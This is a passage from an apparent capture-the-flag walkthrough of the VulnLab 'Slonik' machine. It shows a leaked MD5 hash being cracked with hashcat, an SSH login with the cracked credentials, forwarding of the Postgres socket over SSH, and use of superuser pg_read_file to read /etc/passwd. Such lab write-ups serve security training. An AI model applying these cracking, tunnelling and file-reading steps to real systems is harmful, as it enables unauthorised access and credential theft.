</span></span><span style="display:flex;"><span>drwxrwxr-x <span style="color:#ae81ff">3</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> ..
</span></span><span style="display:flex;"><span>drwx------ <span style="color:#ae81ff">2</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> nano
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.local/share/nano:
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>drwx------ <span style="color:#ae81ff">2</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .
</span></span><span style="display:flex;"><span>drwx------ <span style="color:#ae81ff">3</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.ssh:
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>drwxrwxr-x <span style="color:#ae81ff">2</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .
</span></span><span style="display:flex;"><span>drwxr-x--- <span style="color:#ae81ff">5</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> ..
</span></span><span style="display:flex;"><span>-rw------- <span style="color:#ae81ff">1</span> n3ph0s n3ph0s   <span style="color:#ae81ff">96</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> authorized_keys
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> n3ph0s n3ph0s   <span style="color:#ae81ff">96</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> id_ed25519.pub
</span></span></code></pre></div><p>We have viewed the <code>.psql_history</code> and this contains hashed credentials that may be of use to use later if we are able to crack them.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ cat .psql_history
</span></span><span style="display:flex;"><span>CREATE DATABASE service;
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">\c</span> service;
</span></span><span style="display:flex;"><span>CREATE TABLE users <span style="color:#f92672">(</span> id SERIAL PRIMARY KEY, username VARCHAR<span style="color:#f92672">(</span>255<span style="color:#f92672">)</span> NOT NULL, password VARCHAR<span style="color:#f92672">(</span>255<span style="color:#f92672">)</span> NOT NULL, description TEXT<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>INSERT INTO users <span style="color:#f92672">(</span>username, password, description<span style="color:#f92672">)</span>VALUES <span style="color:#f92672">(</span><span style="color:#e6db74">&#39;service&#39;</span>, <span style="color:#e6db74">&#39;aaabf0d39951f3e6c3e8a7911df524c2&#39;</span>WHERE<span style="color:#e6db74">&#39;, network access account&#39;</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> * from users;
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">\q</span>
</span></span></code></pre></div><p>We have been able to crack the hash <code>hashcat hash /usr/share/wordlists/rockyou.txt -m 0</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Dictionary cache hit:
</span></span><span style="display:flex;"><span>* Filename..: /usr/share/wordlists/rockyou.txt
</span></span><span style="display:flex;"><span>* Passwords.: <span style="color:#ae81ff">14344385</span>
</span></span><span style="display:flex;"><span>* Bytes.....: <span style="color:#ae81ff">139921507</span>
</span></span><span style="display:flex;"><span>* Keyspace..: <span style="color:#ae81ff">14344385</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>aaabf0d39951f3e6c3e8a7911df524c2:service
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Session..........: hashcat
</span></span><span style="display:flex;"><span>Status...........: Cracked
</span></span><span style="display:flex;"><span>Hash.Mode........: <span style="color:#ae81ff">0</span> <span style="color:#f92672">(</span>MD5<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Hash.Target......: aaabf0d39951f3e6c3e8a7911df524c2
</span></span><span style="display:flex;"><span>Time.Started.....: Tue Feb  <span style="color:#ae81ff">4</span> 15:18:29 <span style="color:#ae81ff">2025</span> <span style="color:#f92672">(</span><span style="color:#ae81ff">0</span> secs<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Time.Estimated...: Tue Feb  <span style="color:#ae81ff">4</span> 15:18:29 <span style="color:#ae81ff">2025</span> <span style="color:#f92672">(</span><span style="color:#ae81ff">0</span> secs<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Kernel.Feature...: Pure Kernel
</span></span><span style="display:flex;"><span>Guess.Base.......: File <span style="color:#f92672">(</span>/usr/share/wordlists/rockyou.txt<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Continuing our enumeration, we also find the following in <code>bash_history</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ cat .bash_history
</span></span><span style="display:flex;"><span>ls -lah /var/run/postgresql/
</span></span><span style="display:flex;"><span>file /var/run/postgresql/.s.PGSQL.5432
</span></span><span style="display:flex;"><span>psql -U postgres
</span></span><span style="display:flex;"><span>exit
</span></span></code></pre></div><p>Having fully enumerated the data that we have found specifically in the home directory, we have been able to authenticate and login to SSH with <code>service:service</code> but we are automatically disconnected</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ ssh service@slonik.vl
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&amp;             @@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@   <span style="color:#75715e">############.    ############   ##########*  &amp;@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@  <span style="color:#75715e">###############  ###################  /##########  @@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@ <span style="color:#75715e">###############( #######################(  #########  @@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@  <span style="color:#75715e">############### (#########################  ######### @@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@ .##############  <span style="color:#75715e">###########################( #######  @@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@  <span style="color:#75715e">############## (        ##############        ######  @@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@. <span style="color:#75715e">############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@ .############# /########  <span style="color:#75715e">########### *##### ###### @@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@. <span style="color:#75715e">############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@  <span style="color:#75715e">###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@ <span style="color:#f92672">(</span><span style="color:#75715e">##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@<span style="color:#f92672">(</span> <span style="color:#75715e">###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@  <span style="color:#75715e">############  ####  ###################    @@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@, <span style="color:#75715e">##########  @@@      ################            (@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@ .######  @@@@   <span style="color:#75715e">###  ##############  #######   @@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@<span style="color:#f92672">(</span>  *   @. <span style="color:#75715e">#######    ############## (@((&amp;@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&amp;@@@@  <span style="color:#75715e">#############( @@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  <span style="color:#75715e">#############  @@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ <span style="color:#75715e">############# ,@@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ <span style="color:#75715e">############( @@@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  <span style="color:#75715e">###########  @@@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  <span style="color:#75715e">#######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&amp;   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>service@slonik.vl<span style="color:#f92672">)</span> Password:
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 22.04.3 LTS <span style="color:#f92672">(</span>GNU/Linux 6.2.0-1014-aws x86_64<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Documentation:  https://help.ubuntu.com
</span></span><span style="display:flex;"><span> * Management:     https://landscape.canonical.com
</span></span><span style="display:flex;"><span> * Support:        https://ubuntu.com/advantage
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  System information as of Tue Feb  <span style="color:#ae81ff">4</span> 07:18:51 UTC <span style="color:#ae81ff">2025</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  System load:  0.0               Processes:             <span style="color:#ae81ff">124</span>
</span></span><span style="display:flex;"><span>  Usage of /:   31.3% of 7.57GB   Users logged in:       <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>  Memory usage: 23%               IPv4 address <span style="color:#66d9ef">for</span> ens5: 10.10.70.64
</span></span><span style="display:flex;"><span>  Swap usage:   0%
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Expanded Security Maintenance <span style="color:#66d9ef">for</span> Applications is not enabled.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0</span> updates can be applied immediately.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Enable ESM Apps to receive additional future security updates.
</span></span><span style="display:flex;"><span>See https://ubuntu.com/esm or run: sudo pro status
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The list of available updates is more than a week old.
</span></span><span style="display:flex;"><span>To check <span style="color:#66d9ef">for</span> new updates run: sudo apt update
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Last login: Tue Oct <span style="color:#ae81ff">24</span> 13:11:33 <span style="color:#ae81ff">2023</span> from 10.10.1.254
</span></span><span style="display:flex;"><span>Connection to slonik.vl closed.
</span></span></code></pre></div><h2 id="initial-foothold">Initial Foothold</h2>
<p>You will recall that we found that port 5432 (Postgres) was open in the <code>bash_history</code> and can pivot to that with the command <code>ssh -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl -N</code> and we can confirm that has worked as we have been able to connect to the Postgres database</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ psql -U postgres -h 127.0.0.1 -p <span style="color:#ae81ff">5432</span>
</span></span><span style="display:flex;"><span>psql <span style="color:#f92672">(</span>17.2 <span style="color:#f92672">(</span>Debian 17.2-1+b2<span style="color:#f92672">)</span>, server 14.9 <span style="color:#f92672">(</span>Ubuntu 14.9-0ubuntu0.22.04.1<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>Type <span style="color:#e6db74">&#34;help&#34;</span> <span style="color:#66d9ef">for</span> help.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=</span><span style="color:#75715e">#</span>
</span></span></code></pre></div><p>We check current database user and our permissions and note that we have Superuser permissions</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>postgres<span style="color:#f92672">=#</span> <span style="color:#960050;background-color:#1e0010">\</span>du
</span></span><span style="display:flex;"><span>                             List <span style="color:#66d9ef">of</span> roles
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">Role</span> name <span style="color:#f92672">|</span>                         Attributes
</span></span><span style="display:flex;"><span><span style="color:#75715e">-----------+------------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> postgres  <span style="color:#f92672">|</span> Superuser, <span style="color:#66d9ef">Create</span> <span style="color:#66d9ef">role</span>, <span style="color:#66d9ef">Create</span> DB, Replication, Bypass RLS
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>postgres<span style="color:#f92672">=#</span> <span style="color:#66d9ef">select</span> <span style="color:#66d9ef">current_user</span>, <span style="color:#66d9ef">session_user</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">current_user</span> <span style="color:#f92672">|</span> <span style="color:#66d9ef">session_user</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">--------------+--------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> postgres     <span style="color:#f92672">|</span> postgres
</span></span><span style="display:flex;"><span>(<span style="color:#ae81ff">1</span> <span style="color:#66d9ef">row</span>)
</span></span></code></pre></div><p>With superuser permissions we see if can use <code>copy</code> to read files, which has been successful</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>postgres<span style="color:#f92672">=#</span> <span style="color:#66d9ef">SELECT</span> pg_read_file(<span style="color:#e6db74">&#39;/etc/passwd&#39;</span>, <span style="color:#ae81ff">0</span>, (<span style="color:#66d9ef">SELECT</span> pg_relation_size(<span style="color:#e6db74">&#39;pg_authid&#39;</span>)));
</span></span><span style="display:flex;"><span>                                       pg_read_file
</span></span><span style="display:flex;"><span><span style="color:#75715e">-------------------------------------------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> root:x:<span style="color:#ae81ff">0</span>:<span style="color:#ae81ff">0</span>:root:<span style="color:#f92672">/</span>root:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>bash                                                          <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> daemon:x:<span style="color:#ae81ff">1</span>:<span style="color:#ae81ff">1</span>:daemon:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                          <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> bin:x:<span style="color:#ae81ff">2</span>:<span style="color:#ae81ff">2</span>:bin:<span style="color:#f92672">/</span>bin:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                                     <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> sys:x:<span style="color:#ae81ff">3</span>:<span style="color:#ae81ff">3</span>:sys:<span style="color:#f92672">/</span>dev:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                                     <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> sync:x:<span style="color:#ae81ff">4</span>:<span style="color:#ae81ff">65534</span>:sync:<span style="color:#f92672">/</span>bin:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>sync                                                       <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> games:x:<span style="color:#ae81ff">5</span>:<span style="color:#ae81ff">60</span>:games:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>games:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                          <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> man:x:<span style="color:#ae81ff">6</span>:<span style="color:#ae81ff">12</span>:man:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span><span style="color:#66d9ef">cache</span><span style="color:#f92672">/</span>man:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                          <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> lp:x:<span style="color:#ae81ff">7</span>:<span style="color:#ae81ff">7</span>:lp:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>spool<span style="color:#f92672">/</span>lpd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                             <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> mail:x:<span style="color:#ae81ff">8</span>:<span style="color:#ae81ff">8</span>:mail:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>mail:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                              <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> news:x:<span style="color:#ae81ff">9</span>:<span style="color:#ae81ff">9</span>:news:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>spool<span style="color:#f92672">/</span>news:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                        <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> uucp:x:<span style="color:#ae81ff">10</span>:<span style="color:#ae81ff">10</span>:uucp:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>spool<span style="color:#f92672">/</span>uucp:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                      <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> proxy:x:<span style="color:#ae81ff">13</span>:<span style="color:#ae81ff">13</span>:proxy:<span style="color:#f92672">/</span>bin:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                               <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> www<span style="color:#f92672">-</span><span style="color:#66d9ef">data</span>:x:<span style="color:#ae81ff">33</span>:<span style="color:#ae81ff">33</span>:www<span style="color:#f92672">-</span><span style="color:#66d9ef">data</span>:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>www:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                     <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> backup:x:<span style="color:#ae81ff">34</span>:<span style="color:#ae81ff">34</span>:backup:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>backups:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                     <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> list:x:<span style="color:#ae81ff">38</span>:<span style="color:#ae81ff">38</span>:Mailing List Manager:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>list:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                            <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> irc:x:<span style="color:#ae81ff">39</span>:<span style="color:#ae81ff">39</span>:ircd:<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>ircd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                             <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> gnats:x:<span style="color:#ae81ff">41</span>:<span style="color:#ae81ff">41</span>:Gnats Bug<span style="color:#f92672">-</span>Reporting <span style="color:#66d9ef">System</span> (<span style="color:#66d9ef">admin</span>):<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>gnats:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin        <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> nobody:x:<span style="color:#ae81ff">65534</span>:<span style="color:#ae81ff">65534</span>:nobody:<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                               <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> systemd<span style="color:#f92672">-</span>network:x:<span style="color:#ae81ff">100</span>:<span style="color:#ae81ff">102</span>:systemd Network Management,,,:<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>systemd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin   <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> systemd<span style="color:#f92672">-</span>resolve:x:<span style="color:#ae81ff">101</span>:<span style="color:#ae81ff">103</span>:systemd Resolver,,,:<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>systemd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin             <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> messagebus:x:<span style="color:#ae81ff">102</span>:<span style="color:#ae81ff">105</span>::<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                     <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> systemd<span style="color:#f92672">-</span>timesync:x:<span style="color:#ae81ff">103</span>:<span style="color:#ae81ff">106</span>:systemd Time Synchronization,,,:<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>systemd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin<span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> syslog:x:<span style="color:#ae81ff">104</span>:<span style="color:#ae81ff">111</span>::<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>syslog:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                         <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> _apt:x:<span style="color:#ae81ff">105</span>:<span style="color:#ae81ff">65534</span>::<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                         <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> tss:x:<span style="color:#ae81ff">106</span>:<span style="color:#ae81ff">112</span>:TPM software stack,,,:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>tpm:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span><span style="color:#66d9ef">false</span>                              <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> uuidd:x:<span style="color:#ae81ff">107</span>:<span style="color:#ae81ff">113</span>::<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>uuidd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                            <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> tcpdump:x:<span style="color:#ae81ff">108</span>:<span style="color:#ae81ff">114</span>::<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                        <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> sshd:x:<span style="color:#ae81ff">109</span>:<span style="color:#ae81ff">65534</span>::<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>sshd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                            <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> pollinate:x:<span style="color:#ae81ff">110</span>:<span style="color:#ae81ff">1</span>::<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span><span style="color:#66d9ef">cache</span><span style="color:#f92672">/</span>pollinate:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span><span style="color:#66d9ef">false</span>                                       <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> landscape:x:<span style="color:#ae81ff">111</span>:<span style="color:#ae81ff">116</span>::<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>landscape:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> fwupd<span style="color:#f92672">-</span>refresh:x:<span style="color:#ae81ff">112</span>:<span style="color:#ae81ff">117</span>:fwupd<span style="color:#f92672">-</span>refresh <span style="color:#66d9ef">user</span>,,,:<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>systemd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin             <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> ec2<span style="color:#f92672">-</span>instance<span style="color:#f92672">-</span><span style="color:#66d9ef">connect</span>:x:<span style="color:#ae81ff">113</span>:<span style="color:#ae81ff">65534</span>::<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                         <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> _chrony:x:<span style="color:#ae81ff">114</span>:<span style="color:#ae81ff">121</span>:Chrony daemon,,,:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>chrony:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                     <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> lxd:x:<span style="color:#ae81ff">999</span>:<span style="color:#ae81ff">100</span>::<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>snap<span style="color:#f92672">/</span>lxd<span style="color:#f92672">/</span>common<span style="color:#f92672">/</span>lxd:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span><span style="color:#66d9ef">false</span>                                       <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> postgres:x:<span style="color:#ae81ff">115</span>:<span style="color:#ae81ff">123</span>:PostgreSQL administrator,,,:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>postgresql:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>bash             <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> _rpc:x:<span style="color:#ae81ff">116</span>:<span style="color:#ae81ff">65534</span>::<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>rpcbind:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                         <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> statd:x:<span style="color:#ae81ff">117</span>:<span style="color:#ae81ff">65534</span>::<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>nfs:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin                                        <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span> service:x:<span style="color:#ae81ff">1337</span>:<span style="color:#ae81ff">1337</span>:,,,,<span style="color:#66d9ef">default</span> password:<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>service:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span><span style="color:#66d9ef">false</span>                        <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>
